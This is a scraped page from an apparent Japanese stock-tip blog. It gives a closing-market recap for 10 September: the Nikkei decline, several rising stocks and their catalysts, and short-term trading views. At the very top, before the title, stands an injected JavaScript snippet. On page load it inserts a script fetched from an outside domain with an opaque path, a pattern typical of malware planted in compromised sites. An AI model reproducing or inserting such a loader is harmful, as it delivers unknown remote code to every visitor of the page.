;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【9/10 大引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【9/10 大引け】

本日の日経平均株価は470円安と反落。前日の米株安のほか、前日の歴史的上昇した反動から利益確定売り優勢スタート。一時は先物主導で下げ幅を拡大一時は800円超のマイナスに。前場中盤には一時1万8,000円を割れる場面があった。ただ、一巡後は押し目買いも入り再度1万8000円台を回復。後場には自民党の山本幸三衆議院議員による追加緩和報道から引けにかけ下げ渋る展開となった。業種別では、33業種中31業種が下落し、上昇は建設業、海運業の2業種のみ。

個別では、株主優待制度の導入や1部指定を記念して10円の記念配当を実施を買い材料視された【3688】VOYAGE GROUPが上昇。関東甲信や東北で大雨から、地盤緩みによる土砂災害に注意と各メディアが伝え、地盤解析を手掛ける【6072】地盤ネットに思惑的な買いが入り一時ストップ高の急伸となった。また、鬼怒川の堤防決壊に伴う住宅被害を受けて【1811】銭高組、【1826】佐田建設など建設株の一部も強かったほか、ゆうちょ銀行、かんぽ生命保険の上場が承認されることを受け、関連銘柄の【3630】電算システムが連日の大幅上昇、年初来高値を更新した。その他、スパイバーとの事業提携発表の【8111】ゴールドウインや、千葉市の幕張メッセで開催される「CEATEC JAPAN 2015」に出展するとの発表を材料視された【2438】アスカネットがストップ高となった。

前日からの反動から本日の大幅安もある程度想定の範囲内。明日のSQ、週明けのFOMCまでは方向感の掴み難い展開が続くそうだが前場書いた通り、材料株での短期的な割り切りスタンスでの値幅取り狙いしつつ、売られ過ぎ感のある好業績銘柄等への中長期スタンスでの押し目拾い継続。目先下値ポイントとしては1万8,000円を意識し、これを割った場合は一部損切りも。臨機応変に対処していきたい。